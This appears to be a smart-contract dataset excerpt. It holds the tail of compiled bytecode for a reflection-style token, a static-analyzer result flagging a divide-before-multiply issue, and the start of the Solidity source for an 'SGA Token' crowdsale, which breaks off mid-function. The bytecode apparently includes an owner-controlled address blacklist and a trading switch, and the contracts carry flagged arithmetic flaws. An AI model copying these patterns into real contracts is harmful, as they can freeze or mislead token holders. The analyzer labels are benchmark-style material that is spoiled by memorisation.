3ffffffffffffffffffffffffffffffffffffffff1614610ac8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610abf90613392565b60405180910390fd5b6001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610bbe57600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610c09565b610c06600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610876565b90505b919050565b610c16611296565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ca3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9a906134fc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610df1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de890613392565b60405180910390fd5b60011515600d60009054906101000a900460ff1615151415610e2d576000600d60006101000a81548160ff021916908315150217905550610e49565b6001600d60006101000a81548160ff0219169083151502179055505b565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054610ed990613314565b80601f0160208091040260200160405190810160405280929190818152602001828054610f0590613314565b8015610f525780601f10610f2757610100808354040283529160200191610f52565b820191906000526020600020905b815481529060010190602001808311610f3557829003601f168201915b5050505050905090565b600061101f610f69611296565b8461101a85604051806060016040528060258152602001613b4e6025913960056000610f93611296565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8f9092919063ffffffff16565b611354565b6001905092915050565b600061103d611036611296565b848461151f565b6001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6110d6611296565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611163576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115a906134fc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111be57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600061124483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611d1e565b905092915050565b600061128e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c8f565b905092915050565b600033905090565b60008060008060008060006112b288611d81565b9150915060006112c0611cf3565b905060008060006112d28c8686611dd3565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b6000808284611305919061354b565b90508381101561134a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611341906135ed565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113bb9061367f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611434576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142b90613711565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161151291906130d8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561158f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611586906137a3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f690613835565b60405180910390fd5b60008111611642576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611639906138c7565b60405180910390fd5b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806116e35750600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561172c576000811461172b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117229061390d565b60405180910390fd5b5b60011515600d60009054906101000a900460ff16151514806117805750611751611e31565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806117bd575061178e610ea1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806117fa57506117cb611e31565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b806118375750611808610ea1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611c3357611844611e31565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806118af5750611880610ea1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806118ec57506118bd611e31565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b8061192957506118fa610ea1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561193e57611939838383611e5b565b611c2e565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156119e15750600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119f6576119f18383836121d1565b611c2d565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a995750600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611aae57611aa9838383612424565b611c2c565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b525750600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b6757611b62838383612677565b611c2b565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611c095750600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c1e57611c19838383612835565b611c2a565b611c29838383612677565b5b5b5b5b5b611c8a565b60011515600d60009054906101000a900460ff16151514611c89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c809061390d565b60405180910390fd5b5b505050565b6000838311158290611cd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cce9190612fa6565b60405180910390fd5b5060008385611ce6919061392d565b9050809150509392505050565b6000806000611d00612b1d565b91509150611d17818361120290919063ffffffff16565b9250505090565b60008083118290611d65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5c9190612fa6565b60405180910390fd5b5060008385611d749190613990565b9050809150509392505050565b6000806000611dad6002611d9f60648761120290919063ffffffff16565b612df090919063ffffffff16565b90506000611dc4828661124c90919063ffffffff16565b90508082935093505050915091565b600080600080611dec8588612df090919063ffffffff16565b90506000611e038688612df090919063ffffffff16565b90506000611e1a828461124c90919063ffffffff16565b905082818395509550955050505093509350939050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000611e668261129e565b505050509050611ebe81600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461124c90919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611fe957611fa582600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461124c90919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b61203b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112f690919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156121665761212282600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112f690919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516121c391906130d8565b60405180910390a350505050565b60008060008060006121e28661129e565b9450945094509450945061223e86600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461124c90919063ffffffff16565b600760008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122d385600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461124c90919063ffffffff16565b600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236884600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112f690919063ffffffff16565b600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b58382612e6b565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161241291906130d8565b60405180910390a35050505050505050565b60008060008060006124358661129e565b9450945094509450945061249185600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461124c90919063ffffffff16565b600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061252682600760008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112f690919063ffffffff16565b600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125bb84600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112f690919063ffffffff16565b600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126088382612e6b565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161266591906130d8565b60405180910390a35050505050505050565b60008060008060006126888661129e565b945094509450945094506126e485600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461124c90919063ffffffff16565b600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061277984600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112f690919063ffffffff16565b600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127c68382612e6b565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161282391906130d8565b60405180910390a35050505050505050565b60008060008060006128468661129e565b945094509450945094506128a286600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461124c90919063ffffffff16565b600760008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061293785600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461124c90919063ffffffff16565b600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129cc82600760008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112f690919063ffffffff16565b600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a6184600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112f690919063ffffffff16565b600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612aae8382612e6b565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612b0b91906130d8565b60405180910390a35050505050505050565b6000806000600c54905060006969e10de76676d0800000905060005b600a80549050811015612da3578260066000600a8481548110612b5f57612b5e6139c1565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180612c4d57508160076000600a8481548110612be557612be46139c1565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15612c6c57600c546969e10de76676d080000094509450505050612dec565b612cfc60066000600a8481548110612c8757612c866139c1565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461124c90919063ffffffff16565b9250612d8e60076000600a8481548110612d1957612d186139c1565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361124c90919063ffffffff16565b91508080612d9b906139f0565b915050612b39565b50612dc36969e10de76676d0800000600c5461120290919063ffffffff16565b821015612de357600c546969e10de76676d0800000935093505050612dec565b81819350935050505b9091565b600080831415612e035760009050612e65565b60008284612e119190613a39565b9050828482612e209190613990565b14612e60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e5790613b05565b60405180910390fd5b809150505b92915050565b612e8082600c5461124c90919063ffffffff16565b600c81905550612e9b81600b546112f690919063ffffffff16565b600b819055505050565b600080fd5b6000819050919050565b612ebd81612eaa565b8114612ec857600080fd5b50565b600081359050612eda81612eb4565b92915050565b600060208284031215612ef657612ef5612ea5565b5b6000612f0484828501612ecb565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612f47578082015181840152602081019050612f2c565b83811115612f56576000848401525b50505050565b6000601f19601f8301169050919050565b6000612f7882612f0d565b612f828185612f18565b9350612f92818560208601612f29565b612f9b81612f5c565b840191505092915050565b60006020820190508181036000830152612fc08184612f6d565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612ff382612fc8565b9050919050565b61300381612fe8565b811461300e57600080fd5b50565b60008135905061302081612ffa565b92915050565b6000806040838503121561303d5761303c612ea5565b5b600061304b85828601613011565b925050602061305c85828601612ecb565b9150509250929050565b60008115159050919050565b61307b81613066565b82525050565b60006020820190506130966000830184613072565b92915050565b6000602082840312156130b2576130b1612ea5565b5b60006130c084828501613011565b91505092915050565b6130d281612eaa565b82525050565b60006020820190506130ed60008301846130c9565b92915050565b60008060006060848603121561310c5761310b612ea5565b5b600061311a86828701613011565b935050602061312b86828701613011565b925050604061313c86828701612ecb565b9150509250925092565b600060ff82169050919050565b61315c81613146565b82525050565b60006020820190506131776000830184613153565b92915050565b61318681613066565b811461319157600080fd5b50565b6000813590506131a38161317d565b92915050565b600080604083850312156131c0576131bf612ea5565b5b60006131ce85828601612ecb565b92505060206131df85828601613194565b9150509250929050565b6131f281612fe8565b82525050565b600060208201905061320d60008301846131e9565b92915050565b6000806040838503121561322a57613229612ea5565b5b600061323885828601613011565b925050602061324985828601613011565b9150509250929050565b7f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460008201527f6869732066756e6374696f6e0000000000000000000000000000000000000000602082015250565b60006132af602c83612f18565b91506132ba82613253565b604082019050919050565b600060208201905081810360008301526132de816132a2565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061332c57607f821691505b602082108114156133405761333f6132e5565b5b50919050565b7f43616c6c6572206973206e6f7420666565206469737472696275746f72000000600082015250565b600061337c601d83612f18565b915061338782613346565b602082019050919050565b600060208201905081810360008301526133ab8161336f565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600061340e602a83612f18565b9150613419826133b2565b604082019050919050565b6000602082019050818103600083015261343d81613401565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c7900600082015250565b600061347a601f83612f18565b915061348582613444565b602082019050919050565b600060208201905081810360008301526134a98161346d565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006134e6602083612f18565b91506134f1826134b0565b602082019050919050565b60006020820190508181036000830152613515816134d9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061355682612eaa565b915061356183612eaa565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156135965761359561351c565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006135d7601b83612f18565b91506135e2826135a1565b602082019050919050565b60006020820190508181036000830152613606816135ca565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613669602483612f18565b91506136748261360d565b604082019050919050565b600060208201905081810360008301526136988161365c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006136fb602283612f18565b91506137068261369f565b604082019050919050565b6000602082019050818103600083015261372a816136ee565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061378d602583612f18565b915061379882613731565b604082019050919050565b600060208201905081810360008301526137bc81613780565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061381f602383612f18565b915061382a826137c3565b604082019050919050565b6000602082019050818103600083015261384e81613812565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006138b1602983612f18565b91506138bc82613855565b604082019050919050565b600060208201905081810360008301526138e0816138a4565b9050919050565b50565b60006138f7600083612f18565b9150613902826138e7565b600082019050919050565b60006020820190508181036000830152613926816138ea565b9050919050565b600061393882612eaa565b915061394383612eaa565b9250828210156139565761395561351c565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061399b82612eaa565b91506139a683612eaa565b9250826139b6576139b5613961565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006139fb82612eaa565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a2e57613a2d61351c565b5b600182019050919050565b6000613a4482612eaa565b9150613a4f83612eaa565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613a8857613a8761351c565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613aef602183612f18565b9150613afa82613a93565b604082019050919050565b60006020820190508181036000830152613b1e81613ae2565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220488bf30c7498a8bd6468b6d3e01208a15f574f015a7444b8267aefb378d82dd564736f6c63430008080033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
5,877
0x3b98efa8b46b862099cd298b39fc1c7f4e2fb2fa
pragma solidity ^0.4.13; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); owner = newOwner; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will recieve the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner returns (bool) { mintingFinished = true; MintFinished(); return true; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev modifier to allow actions only when the contract IS paused */ modifier whenNotPaused() { require(!paused); _; } /** * @dev modifier to allow actions only when the contract IS NOT paused */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused { paused = false; Unpause(); } } contract SGAToken is MintableToken { string public constant name = "SGA Token"; string public constant symbol = "SGA"; uint32 public constant decimals = 18; bool public transferAllowed = false; modifier whenTransferAllowed() { require(transferAllowed || msg.sender == owner); _; } function allowTransfer() onlyOwner { transferAllowed = true; } function transfer(address _to, uint256 _value) whenTransferAllowed returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) whenTransferAllowed returns (bool) { return super.transferFrom(_from, _to, _value); } } contract PurchaseBonusCrowdsale is Pausable { using SafeMath for uint; struct Bonus { uint limit; uint bonus; } Bonus[] public bonuses; function bonusesCount() constant returns(uint) { return bonuses.length; } function addBonus(uint limit, uint bonus) onlyOwner { bonuses.push(Bonus(limit, bonus)); } function removeBonus(uint8 number) onlyOwner { require(number < bonuses.length); delete bonuses[number]; for (uint i = number; i < bonuses.length - 1; i++) { bonuses[i] = bonuses[i+1]; } bonuses.length--; } function changeBonus(uint8 number, uint limit, uint bonusValue) onlyOwner { require(number < bonuses.length); Bonus storage bonus = bonuses[number]; bonus.limit = limit; bonus.bonus = bonusValue; } function insertBonus(uint8 numberAfter, uint limit, uint bonus) onlyOwner { require(numberAfter < bonuses.length); bonuses.length++; for (uint i = bonuses.length - 2; i > numberAfter; i--) { bonuses[i + 1] = bonuses[i]; } bonuses[numberAfter + 1] = Bonus(limit, bonus); } function clearBonuses() onlyOwner { require(bonuses.length > 0); for (uint i = 0; i < bonuses.length; i++) { delete bonuses[i]; } bonuses.length -= bonuses.length; } function getBonus(uint value) constant returns(uint) { uint targetBonus = 0; if(value < bonuses[0].limit) return 0; for (uint i = bonuses.length; i > 0; i--) { Bonus storage bonus = bonuses[i - 1]; if (value >= bonus.limit) return bonus.bonus; else targetBonus = bonus.bonus; } return 